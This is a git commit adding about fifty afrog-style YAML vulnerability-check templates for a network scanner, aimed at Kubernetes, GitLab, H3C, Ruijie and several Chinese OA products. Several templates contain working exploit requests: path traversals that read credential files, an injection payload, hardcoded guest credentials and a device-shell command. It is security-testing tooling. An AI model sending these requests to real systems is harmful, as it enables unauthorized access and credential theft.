feat: add curated internal network pocs

2026-09-21 19:00:42 +08:00 · 2026-07-16 01:45:09 +08:00
parent 61ae87d171
commit 621b2c2f24
52 changed files with 1230 additions and 0 deletions
@@ -0,0 +1,32 @@
+# Third-party POC notices
+
+The 50 `.yaml` POC files added for the fscan 2.2.1 trial set were selected
+from `zan8in/afrog` commit `9f792687ed156d63344016f8bf658946079fb494`:
+
+https://github.com/zan8in/afrog
+
+Only non-destructive detection, unauthorized-access, information-disclosure,
+and path-read checks were selected. The original project is licensed under
+the MIT License:
+
+MIT License
+
+Copyright (c) 2022 zan8in
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
@@ -0,0 +1,19 @@
+id: apache-druid-unauth
+
+info:
+  name: Apache Druid Unauth
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    app="Apache Druid"
+  tags: druid,unauth
+  created: 2024/01/07
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /unified-console.html
+    expression: response.status == 200 && response.body.ibcontains(b'<title>Apache Druid</title>')
+expression: r0()
@@ -0,0 +1,21 @@
+id: docker-registry-api-unauth
+
+info:
+  name: docker registry api 未经批准
+  author: p0wd3r
+  severity: critical
+  tags: docker,unauth
+  created: 2024/01/12
+
+rules:
+    r0:
+        request:
+            method: GET
+            path: /v2/
+        expression: response.status == 200 && "docker-distribution-api-version" in response.headers && response.headers["docker-distribution-api-version"].contains("registry/2.0")
+    r1:
+        request:
+            method: GET
+            path: /v2/_catalog
+        expression: response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"repositories")
+expression: r0() && r1()+
@@ -0,0 +1,17 @@
+id: druid-monitor-unauth
+
+info:
+  name: Druid Monitor Unauth
+  author: met7or
+  severity: high
+  verified: true
+  tags: druid,monitor,unauth
+  created: 2023/07/07
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /druid/index.html
+    expression: response.status == 200 && response.body.bcontains(b"Druid Stat Index") && response.body.bcontains(b"DruidVersion") && response.body.bcontains(b"DruidDrivers")
+expression: r0()
@@ -0,0 +1,25 @@
+id: elasticsearch-unauth
+
+info:
+  name: ElasticSearch Information Disclosure
+  author: p0wd3r
+  severity: high
+  verified: true
+  description: |-
+    /_nodes #查看节点数据
+    /_cat/indices #索引
+    _cat/indices
+    /_plugin/head
+    /_nodes/
+    /_status
+    /_search?pretty
+  tags: elasticsearch,unauth
+  created: 2023/07/07
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /_cat
+    expression: response.status == 200 && response.body.bcontains(b"/_cat/master")
+expression: r0()
@@ -0,0 +1,16 @@
+id: finereport-directory-traversal
+
+info:
+  name: Finereport Directory Traversal
+  author: l1nk3r
+  severity: high
+  tags: finereport,directory-traversal
+  created: 2023/11/14
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
+    expression: response.status == 200 && response.body.bcontains(b"<rootManagerName>") && response.body.bcontains(b"<rootManagerPassword>")
+expression: r0()
@@ -0,0 +1,34 @@
+id: gitlab-api-user-enum
+
+info:
+  name: GitLab - User Information Disclosure Via Open API
+  author: Suman_Kar
+  severity: medium
+  reference:
+    - https://gitlab.com/gitlab-org/gitlab-foss/-/issues/40158
+  tags: gitlab,api,enum,user
+  created: 2023/07/20
+
+rules:
+  r0:
+    brute:
+      mode: sniper
+      commit: winner
+      continue: false
+      uid:
+        - "1"
+        - "2"
+        - "3"
+        - "4"
+        - "5"
+        - "6"
+        - "7"
+        - "8"
+        - "9"
+        - "10"
+        - "2"
+    request:
+      method: GET
+      path: /api/v4/users/{{uid}}
+    expression: response.status == 200 && response.body.bcontains(b'"id":') && response.body.bcontains(b'"username":') && response.body.bcontains(b'"name":')
+expression: r0()
@@ -0,0 +1,21 @@
+id: gitlab-public-repos
+
+info:
+  name: GitLab public repositories
+  author: ldionmarcil
+  severity: info
+  reference:
+    - https://twitter.com/ldionmarcil/status/1370052344562470922
+    - https://github.com/ldionmarcil/gitlab-unauth-parser
+  tags: gitlab,public,repos
+  created: 2023/07/20
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /api/v4/projects
+      headers:
+        Cookie: _gitlab_session=
+    expression: response.body.bcontains(b'name_with_namespace')
+expression: r0()
@@ -0,0 +1,18 @@
+id: h3c-hci-management
+
+info:
+  name: H3C 超融合管理平台
+  author: zan8in
+  severity: info
+  verified: true
+  tags: h3c,hci-management,panel
+  created: 2023/07/21
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /uis/login
+      follow_redirects: true
+    expression: response.status == 200 && response.body.bcontains(b"'/uis/spring_check?'")
+expression: r0()
@@ -0,0 +1,27 @@
+id: h3c-information-leakage
+
+info:
+  name: H3C设备敏感信息泄露
+  author: ifofor
+  severity: high
+  description: |-
+    未授权读取密码文件，可获取明文密码（用户名admin，密码：第二个数据包vtypasswd的值）
+    fofa: "userLogin.asp" && server="H3C-Miniware-Webs"
+  tags: h3c,information-leakage
+  created: 2023/07/25
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /userLogin.asp
+    expression: response.status == 200 && response.body.bcontains(b'H3C Corporation')
+    output:
+      search: '"(?P<title2>(?<=<title>)[A-Z^](.+)[0-9A-Z])".bsubmatch(response.body)'
+      name: search["title2"]
+  r1:
+    request:
+      method: GET
+      path: /userLogin.asp/../actionpolicy_status/../{{name}}.cfg
+    expression: response.status == 200 && response.body.bcontains(b'vtypasswd=')
+expression: r0() && r1()
@@ -0,0 +1,24 @@
+id: h3csecparh-unauthorized-login
+
+info:
+  name: H3C Server - Unauthenticated Access
+  author: Print1n(http://print1n.top)
+  severity: high
+  description: |-
+    H3C server was able to be accessed with no authentication requirements in place.
+    shodan: http.html:"H3C-SecPath-运维审计系统"
+    fofa: app="H3C-SecPath-运维审计系统" && body="2018"
+  tags: h3c,default-login,unauth
+  created: 2023/06/17
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'错误的id') &&
+      response.body.bcontains(b'审计管理员') &&
+      response.body.bcontains(b'admin')
+expression: r0()
@@ -0,0 +1,19 @@
+id: hadoop-disclosure
+
+info:
+  name: Apache Hadoop Disclosure
+  author: zan8in
+  severity: low
+  verified: true
+  description: |-
+    Apache Hadoop 存在目录浏览漏洞，攻击者可以通过访问/dfshealth.html来获取Hadoop集群的配置信息。
+  tags: hadoop,disclosure
+  created: 2023/10/29
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /dfshealth.html
+    expression: response.status == 200 && response.body.bcontains(b'class="navbar-brand"') && response.body.bcontains(b'dfshealth.js')
+expression: r0()
@@ -0,0 +1,27 @@
+id: jeecg-getdatasourcebypage-disclosure
+
+info:
+  name: JeecgBoot - GetDataSourceByPage Disclosure
+  author: zan8in
+  severity: high
+  verified: true
+  description: |
+    fofa: app="jeecg-boot"
+  tags: jeecgboot,disclosure
+  created: 2026/01/08
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /jmreport/getDataSourceByPage
+    expression: |
+      response.status == 200 && 
+      "Content-Type" in response.headers &&
+      response.headers['Content-Type'].icontains('application/json') &&
+      response.body.ibcontains(b'"success":true') &&
+      response.body.ibcontains(b'"dbUsername":') &&
+      response.body.ibcontains(b'"dbPassword":') &&
+      response.body.ibcontains(b'"dbType":') &&
+      response.body.ibcontains(b'"dbUrl":')
+expression: r0()
@@ -0,0 +1,21 @@
+id: jenkins-dashboard-unauth
+
+info:
+  name: Jenkins Dashboard 未授权访问
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    Jenkins Dashboard 未授权访问
+    fofa: app="Jenkins"
+  tags: jenkins,unauth
+  created: 2024/01/07
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /
+      follow_redirects: true
+    expression: response.status == 200 && response.body.bcontains(b'Dashboard') && response.body.bcontains(b'Jenkins')
+expression: r0()
@@ -0,0 +1,19 @@
+id: kibana-unauth
+
+info:
+  name: Kibana Unauth
+  author: Isaac
+  severity: high
+  verified: true
+  description: |-
+    Kibana Unauth
+  tags: kibana,unauth
+  created: 2023/07/07
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /app/kibana
+    expression: response.status == 200 && response.body.bcontains(b".kibanaWelcomeView")
+expression: r0()
@@ -0,0 +1,22 @@
+id: kingdee-oa-apusic-server-file-traversal
+
+info:
+  name: 金蝶OA Apusic应用服务器(中间件) server_file 目录遍历
+  author: zan8in
+  severity: low
+  verified: true
+  description: |-
+    金蝶Apusic应用服务器是国内第一个通过J2EE测试认证的应用服务器，全球第四家获得JavaEE 5.0认证授权的产品，完全实现J2EE等企业计算相关的工业规范及标准代码简洁优化，具备了数据持久性、事务完整性、消息传输的可靠性、集群功能的高可用性、以及跨平台的支持等特点。金蝶Apusic应用服务器 server_file处存在目录遍历漏洞，攻击者可以从其中获取网站路径等敏感信息进一步攻击。
+    fofa: app="Apusic-公司产品" && title=="欢迎使用Apusic应用服务器"
+  reference:
+    - https://mp.weixin.qq.com/s/ZTZ0XPOtSZn0Mg_ZSA1L6Q
+  tags: kingdee,directory-traversal
+  created: 2023/10/13
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /admin/protected/selector/server_file/files?folder=/
+    expression: response.status==200 && response.body.bcontains(b'"total":') && response.body.bcontains(b'"rows":') && response.body.bcontains(b'"name":') && response.body.bcontains(b'"path":') && response.body.bcontains(b'"folder":')
+expression: r0()
@@ -0,0 +1,21 @@
+id: kubernetes-metrics
+
+info:
+  name: Detect Kubernetes Exposed Metrics
+  author: pussycat0x
+  severity: low
+  verified: false
+  description: |-
+    Information Disclosure of Garbage Collection
+  reference:
+    - https://kubernetes.io/docs/concepts/cluster-administration/system-metrics/#metrics-in-kubernetes
+  tags: kubernetes,metrics,detect
+  created: 2024/01/05
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /metrics
+    expression: response.status == 200 && response.body.bcontains(b"namespace") && response.body.bcontains(b"HELP") && response.body.bcontains(b"TYPE") && response.body.bcontains(b"kube")
+expression: r0()
@@ -0,0 +1,33 @@
+id: kubernetes-pods-api
+
+info:
+  name: Kubernetes Pods - API Discovery & Remote Code Execution
+  author: ilovebinbash,geeknik,0xtavian
+  severity: critical
+  description: |-
+    A Kubernetes Pods API was discovered. When the service port is available, unauthenticated users can execute commands inside the container.
+  reference:
+    - https://github.com/officialhocc/Kubernetes-Kubelet-RCE
+    - https://blog.binaryedge.io/2018/12/06/kubernetes-being-hijacked-worldwide/
+  tags: k8,unauth,kubernetes,devops,misconfig
+  created: 2025/07/14
+
+rules:
+  r0:
+    brute:
+      mode: clusterbomb
+      commit: winner
+      continue: false
+      p:
+        - /pods
+        - /api/v1/pods
+        - /runningpods/
+    request:
+      method: GET
+      path: "{{p}}"
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'"apiVersion":') &&
+      response.body.bcontains(b'"items":') &&
+      response.body.bcontains(b'"kind":')
+expression: r0()
@@ -0,0 +1,19 @@
+id: kubernetes-unauth
+
+info:
+  name: kubernetes Unauth
+  author: mumu0215
+  severity: high
+  verified: false
+  description: |-
+    kubernetes Unauth
+  tags: kubernetes,unauth
+  created: 2023/07/07
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /api/v1/nodes
+    expression: 'response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"\"kubeletVersion\": \"v") && response.body.bcontains(b"\"containerRuntimeVersion\"")'
+expression: r0()
@@ -0,0 +1,19 @@
+id: kubernetes-version
+
+info:
+  name: Kubernetes Version Exposure
+  author: raesene
+  severity: info
+  verified: true
+  description: |-
+    Searches for exposed Kubernetes API servers which return version information unauthenticated
+  tags: kubernetes,version,detect
+  created: 2024/01/05
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /version
+    expression: response.status == 200 && response.body.bcontains(b"gitVersion") && response.body.bcontains(b"goVersion") && response.body.bcontains(b"platform")
+expression: r0()
@@ -0,0 +1,21 @@
+id: ruijie-eg-password-leak
+
+info:
+  name: Ruijie EG Information Disaclosure
+  author: Search?=Null
+  severity: high
+  verified: true
+  description: |-
+    fofa: app="Ruijie-EG易网关"
+  tags: ruijie,disclosure
+  created: 2023/10/29
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /login.php
+      body: |
+        username=admin&password=admin?show+webmaster+user
+    expression: response.status == 200 && response.body.bcontains(b'"data":') && response.body.bcontains(b'admin') && response.body.bcontains(b'"status":')
+expression: r0()
@@ -0,0 +1,21 @@
+id: ruijie-excu-shell-disclosure
+
+info:
+  name: 锐捷交换机 WEB 管理系统 EXCU_SHELL 信息泄露
+  author: zan8in
+  severity: high
+  verified: true
+  tags: ruijie,disclosure
+  created: 2023/09/03
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /EXCU_SHELL
+      headers:
+        Cmdnum: '1'
+        Command1: show running-config
+        Confirm1: n
+    expression: response.status == 200 && response.body.bcontains(b"Building configuration") && response.body.bcontains(b"Current configuration")
+expression: r0()+
@@ -0,0 +1,23 @@
+id: ruijie-nbr1300g-cli-password-leak
+
+info:
+  name: ruijie-nbr1300g-cli-password-leak
+  author: abbin777
+  severity: high
+  verified: true
+  description: |-
+    锐捷NBR 1300G路由器 越权CLI命令执行漏洞，guest账户可以越权获取管理员账号密码
+    fofa: title="锐捷网络 --NBR路由器--登录界面" || app="Ruijie-NBR路由器"
+  tags: ruijie,disclosure
+  created: 2023/10/29
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /WEB_VMS/LEVEL15/
+      headers:
+        Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
+      body: command=show webmaster user&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.
+    expression: response.status == 200 &&  "webmaster level ([0-9]) username".bmatches(response.body)
+expression: r0()
@@ -0,0 +1,23 @@
+id: ruijie-smartweb-password-disclosure
+
+info:
+  name: Ruijie smartweb password information disclosure
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    锐捷网络股份有限公司无线smartweb管理系统存在逻辑缺陷漏洞，攻击者可从漏洞获取到管理员账号密码，从而以管理员权限登录。
+    fofa: app="Ruijie-WiFi" && title="无线smartWeb--登录页面"
+  tags: ruijie,disclosure
+  created: 2023/10/29
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /web/xml/webuser-auth.xml
+      headers:
+        Cookie: "login=1; oid=1.3.6.1.4.1.4881.1.1.10.1.3; type=WS5302; auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest"
+    expression: |
+      response.status == 200 && response.body.bcontains(b'<![CDATA[   admin]]>')
+expression: r0()
@@ -0,0 +1,24 @@
+id: seeyon-a6-downexcelbeansevlet-disclosure
+
+info:
+  name: 致远OA A6 DownExcelBeanServlet 用户敏感信息泄露
+  author: sakura404x
+  severity: high
+  verified: true
+  description: |-
+    fofa: app="致远互联-OA"
+  tags: seeyon,disclosure
+  created: 2023/10/29
+  requires: [seeyon]
+  requires-mode: opportunistic
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b"[Content_Types].xml") && 
+      response.body.bcontains(b"Excel.Sheet")
+expression: r0()
@@ -0,0 +1,25 @@
+id: seeyon-config-disclosure
+
+info:
+  name: 致远OA A6 config.jsp 敏感信息泄漏漏洞
+  author: zan8in
+  severity: high
+  verified: true
+  description: |
+    致远OA A6 config.jsp页面可未授权访问，导致敏感信息泄漏漏洞，攻击者通过漏洞可以获取服务器中的敏感信息
+    fofa: body="yyoa" && app="致远互联-OA"
+  tags: seeyon,a6,config,disclosure
+  created: 2023/05/26
+  requires: [seeyon]
+  requires-mode: opportunistic
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /yyoa/ext/trafaxserver/SystemManage/config.jsp
+    expression: |
+      response.status == 200 && 
+      response_text.contains('DatabaseName=') &&
+      response_text.contains("<li>点击确定即可保存您修改的配置信息</li>")
+expression: r0()
@@ -0,0 +1,25 @@
+id: seeyon-getsessionlist-session-disclosure
+
+info:
+  name: 致远OA getSessionList.jsp Session泄漏
+  author: sakura404x
+  severity: high
+  verified: true
+  description: |-
+    确定漏洞,使用session登录主页即可 (http://x.x.x.x/yyoa/portal/portalIndex.jsp), Cookie(JSESSIONID=XXXXXXXXXXXXXXXXXXXXXXXXXX)
+    fofa: app="致远互联-OA"
+  reference:
+    - https://mp.weixin.qq.com/s/V1bp8NedoNULf4G4cq8X1g
+  tags: seeyon,disclosure
+  created: 2023/10/29
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /yyoa/ext/https/getSessionList.jsp?cmd=getAll
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b"<usrID>") && 
+      response.body.bcontains(b"<sessionID>")
+expression: r0()
@@ -0,0 +1,25 @@
+id: seeyon-initdataaccess-disclosure
+
+info:
+  name: 致远OA A6 initDataAssess.jsp 用户敏感信息泄露
+  author: zan8in
+  severity: high
+  verified: false
+  description: |
+    致远OA A6 initDataAssess.jsp 用户敏感信息泄露
+    fofa: app="致远OA-A6"
+  tags: seeyon,disclosure
+  created: 2025/03/13
+  requires: [seeyon]
+  requires-mode: opportunistic
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /yyoa/assess/js/initDataAssess.jsp
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'personList') && 
+      response.body.bcontains(b'personHash.Add')
+expression: r0()
@@ -0,0 +1,25 @@
+id: seeyon-version
+
+info:
+  name: Seeyon Version
+  author: zan8in
+  severity: info
+  verified: true
+  tags: seeyon,version,fingerprint
+  created: 2024/04/16
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /seeyon/main.do?method=showAbout
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'>Build Id:</td>') && 
+      response_text.contains('>注册数:</td>')
+    extractors:
+      - type: regex
+        extractor:
+          search: '"<td width=\"75%\">&nbsp;(?P<version>.*?)</td>".submatch(response_text)'
+          v: search["version"]
+expression: r0()
@@ -0,0 +1,26 @@
+id: solr-admin-query
+
+info:
+  name: Solr Admin Query Page
+  author: dhiyaneshDK
+  severity: high
+  verified: false
+  description: |
+    Solr Admin Query Page is accessible.
+  reference:
+    - https://www.exploit-db.com/ghdb/5856
+  tags: solr,admin,query,unauthorized
+  created: 2023/05/26
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /admin/
+    expression: response.status == 200 && response.body.bcontains(b'<title>Solr admin page</title>')
+  r1:
+    request:
+      method: GET
+      path: /solr/admin/
+    expression: response.status == 200 && response.body.bcontains(b'<title>Solr admin page</title>')
+expression: r0() && r1()
@@ -0,0 +1,19 @@
+id: spark-api-unauth
+
+info:
+  name: spark Api Unauth
+  author: betta
+  severity: high
+  verified: false
+  description: |-
+    spark Api Unauth
+  tags: spark,api,unauth
+  created: 2023/07/07
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /v1/submissions
+    expression: response.status == 400 && response.body.bcontains(b"Missing an action") && response.body.bcontains(b"serverSparkVersion")
+expression: r0()
@@ -0,0 +1,21 @@
+id: spark-webui-unauth
+info:
+  name: Spark WebUI Unauthenticated
+  author: princechaddha
+  severity: medium
+  verified: false
+  reference:
+    - https://github.com/vulhub/vulhub/tree/master/spark/unacc
+    - https://www.secpod.com/blog/unauthenticated-access-to-apache-spark-web-ui/
+  description: |-
+    Apache Spark WebUI Unauthenticated
+  tags: spark,webui,unauth
+  created: 2023/07/07
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /
+    expression: response.status == 200 && response.body.bcontains(b"<title>Spark Master at spark://") && response.body.bcontains(b"<strong>URL:</strong>")
+expression: r0()
@@ -0,0 +1,20 @@
+id: tongda-contact-list-disclosure
+
+info:
+  name: 通达OA v2014 get_contactlist.php 敏感信息泄漏漏洞
+  author: zan8in
+  severity: high
+  verified: true
+  description: |
+    通达OA v2014 get_contactlist.php文件存在信息泄漏漏洞，攻击者通过漏洞可以获取敏感信息，进一步攻击
+    fofa: app="TDXK-通达OA"
+  tags: tongda,oa,contact,list,disclosure
+  created: 2025/03/13
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /mobile/inc/get_contactlist.php?P=1&KWORD=%25&isuser_info=3
+    expression: response.status == 200 && response.body.bcontains(b'"user_uid":') && response.body.bcontains(b'"user_name":') && response.body.bcontains(b'"priv_name":') && response.body.bcontains(b'"dept_name":')
+expression: r0()
@@ -0,0 +1,23 @@
+id: tongda-down-php-unauthorized-access
+
+info:
+  name: 通达OA down.php存在未授权访问漏洞
+  author: Y3y1ng
+  severity: high
+  verified: true
+  description: |-
+    通达OA（Office Anywhere网络智能办公系统） inc/package/down.php 接口存在未授权访问漏洞，通过此漏洞攻击者构造特殊链接，下载敏感文件，获取企业员工个人信息。
+    Fofa: app="TDXK-通达OA"
+  reference:
+    - https://mp.weixin.qq.com/s/YiPk8YRzgLEdwVWA-F-4XA
+  tags: tongda
+  created: 2023/12/04
+rules:
+  r0:
+    request:
+      method: GET
+      path: /inc/package/down.php?id=../../../cache/org
+    expression: |
+      response.status == 200 && 
+      response.raw_header.bcontains(b'org.zip')
+expression: r0()+
@@ -0,0 +1,23 @@
+id: tongda-path-traversal
+
+info:
+  name: Office Anywhere TongDa - Path Traversal
+  author: pikpikcu
+  severity: high
+  verified: true
+  description: |
+    Office Anywhere (OA) is susceptible to path traversal vulnerabilities which can be leveraged to perform remote code execution.
+  reference:
+    - https://github.com/jas502n/OA-tongda-RCE
+  tags: tongda,oa,path,traversal
+  created: 2025/03/13
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /ispirit/interface/gateway.php
+      body: |
+        json={"url":"/general/../../mysql5/my.ini"}
+    expression: response.status == 200 && response.body.bcontains(b'[mysql]') && response.body.bcontains(b'password=') && response.headers["content-type"].contains("text/html")
+expression: r0()
@@ -0,0 +1,21 @@
+id: wanhu-evointerfaceservlet-unauth
+
+info:
+  name: 万户 OA 未授权访问获取所有账户密码
+  author: zan8in
+  severity: high
+  verified: true
+  tags: wanhu,unauth
+  created: 2024/01/07
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /defaultroot/evoInterfaceServlet?paramType=user
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'result:') &&
+      response.body.bcontains(b'data:') &&
+      response.body.bcontains(b'"userList":')
+expression: r0()+
@@ -0,0 +1,23 @@
+id: wanhu-ezoffice-text2html-fileread
+
+info:
+  name: 万户协同办公平台ezoffice text2Html接口任意文件读取
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    万户ezOFFICE协同管理平台是一个综合信息基础应用平台。 万户协同办公平台ezoffice text2Html接口存在任意文件读取漏洞。
+    Fofa: app="万户网络-ezOFFICE"
+  reference:
+    - https://mp.weixin.qq.com/s/m92W7sM8KWonMvNXbRPFlQ
+  tags: wanhu,ezoffice,text2html,fileread
+  created: 2024/02/28
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /defaultroot/convertFile/text2Html.controller
+      body: saveFileName=123456/../../../../WEB-INF/web.xml&moduleName=html
+    expression: response.status == 200 && response.body.bcontains(b'web-app xmlns=') && response.headers["content-type"].contains("text/html")
+expression: r0()
@@ -0,0 +1,19 @@
+id: wanhu-oa-downloadhttp-fileread
+
+info:
+  name: 万户OA downloadhttp.jsp 任意文件下载漏洞
+  author: zan8in
+  severity: high
+  description: |
+    万户OA downloadhttp.jsp文件存在任意文件下载漏洞，攻击者通过漏洞可以下载服务器上的任意文件
+    fofa: app="万户网络-ezOFFICE"
+  tags: wanhu,download,http,fileread
+  created: 2025/03/13
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /defaultroot/site/templatemanager/downloadhttp.jsp?fileName=../public/edit/jsp/config.jsp
+    expression: response.status == 200 && response.body.bcontains(b'<%') && response.body.bcontains(b'//Username') && response.body.bcontains(b'//Password')
+expression: r0()
@@ -0,0 +1,19 @@
+id: wanhu-oa-downloadservlet-fileread
+
+info:
+  name: 万户OA DownloadServlet 任意文件读取漏洞
+  author: zan8in
+  severity: high
+  description: |
+    万户OA DownloadServlet接口存在任意文件读取漏洞，攻击者通过漏洞可以读取服务器中的敏感文件，获取敏感信息
+    fofa: app="万户网络-ezOFFICE"
+  tags: wanhu,download,servlet,fileread
+  created: 2025/03/13
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /defaultroot/DownloadServlet?modeType=0&key=x&path=..&FileName=WEB-INF/classes/fc.properties&name=x&encrypt=x&cd=&downloadAll=2
+    expression: response.status == 200 && response.body.bcontains(b'ccerp.user')&& response.body.bcontains(b'ccerp.password') && response.body.bcontains(b'ccerp.url')
+expression: r0()
@@ -0,0 +1,25 @@
+id: weaver-eoffice-officeserver-fileread
+
+info:
+  name: 泛微OA E-Office officeserver.php 任意文件读取漏洞
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    泛微OA E-Office officeserver.php文件存在任意文件读取漏洞，攻击者通过漏洞可以下载服务器上的任意文件
+    fofa: app="泛微-EOffice"
+  tags: weaver,eoffice,fileread
+  created: 2023/06/23
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /iweboffice/officeserver.php?OPTION=LOADFILE&FILENAME=../mysql_config.ini
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'dataurl') && 
+      response.body.bcontains(b'datauser') && 
+      response.body.bcontains(b'datapassword') && 
+      response.body.bcontains(b'dataname')
+expression: r0()
@@ -0,0 +1,19 @@
+id: yonyou-maportal-unauth
+
+info:
+  name: 用友移动系统管理 maportal 未授权访问
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    Fofa: "移动系统管理"
+  tags: yonyou,unauth
+  created: 2024/01/07
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /maportal/
+    expression: response.status == 200 && response.body.bcontains(b"欢迎你") && response.body.bcontains(b"管理员")
+expression: r0()+
@@ -0,0 +1,23 @@
+id: yonyou-mobsm-detect
+
+info:
+  name: 用友移动系统管理
+  author: lei_sec
+  severity: info
+  verified: true
+  description: |-
+    fofa: app="用友-移动系统管理"
+  tags: yonyou
+  created: 2023/07/07
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /mobsm/html/login.jsp
+    expression: |
+      response.status == 200 &&
+      response.body.bcontains(b'"/mobsm/login/home",') &&
+      response.body.bcontains(b'"/mobsm/html/index.jsp";') &&
+      response.body.bcontains(b'移动系统管理')
+expression: r0()
@@ -0,0 +1,26 @@
+id: yonyou-nc-download-fileread
+
+info:
+  name: 用友NC download文件存在任意文件读取漏洞
+  author: Y3y1ng
+  severity: high
+  verified: true
+  description: |-
+    用友NC的download文件存在任意文件读取漏洞，攻击者可以利用该漏洞读取服务器上的敏感文件。
+    Fofa: app="用友-UFIDA-NC"
+    Hunter: web.title="YONYOU NC"
+    ZoomEye: app:"Yonyou NC httpd"
+  reference:
+    - https://mp.weixin.qq.com/s/oVRiOXEG9cxEtyE8q0UKZQ
+  tags: yonyou,fileread
+  created: 2023/12/04
+rules:
+  r0:
+    request:
+      method: GET
+      path: /portal/pt/xml/file/download?pageId=login&filename=..%5Cindex.jsp
+    expression: |
+      response.status == 200 &&
+      response.body.bcontains(b"response.addHeader") &&
+      response.body.bcontains(b"request.getSession")
+expression: r0()+
@@ -0,0 +1,18 @@
+id: yonyou-nc-portalfile-fileread
+
+info:
+  name: 用友NC portal/file 任意文件读取漏洞
+  author: Wen
+  severity: high
+  reference:
+    - https://mp.weixin.qq.com/s/dA1R1uWYLl3YD9hGxPts2w
+  tags: yonyou,nc,fileread
+  created: 2024/01/22
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /portal/file?cmd=getFileLocal&fileid=..%2F..%2F..%2F..%2Fwebapps/nc_web/WEB-INF/web.xml
+    expression: response.status == 200 && response.body.bcontains(b"<web-app") && response.body.bcontains(b"nc.bs.framework.server.WebApplicationStartupHook")
+expression: r0()
@@ -0,0 +1,30 @@
+id: yonyou-nc-portalsesInittoolservice-disclosure
+
+info:
+  name: 用友 portalsesInittoolservice 泄露数据库账号密码
+  author: zan8in
+  severity: high
+  verified: true
+  description: |
+    用友 portalsesInittoolservice 泄露数据库账号密码
+    fofa: app="用友-UFIDA-NC"
+  tags: yonyou,disclosure
+  created: 2025/05/06
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /uapws/service/nc.itf.ses.inittool.PortalSESInitToolService
+      body: |
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:por="http://inittool.ses.itf.nc/PortalSESInitToolService">
+        <soapenv:Header/>
+        <soapenv:Body>
+            <por:getDataSourceConfig/>
+        </soapenv:Body>
+        </soapenv:Envelope>
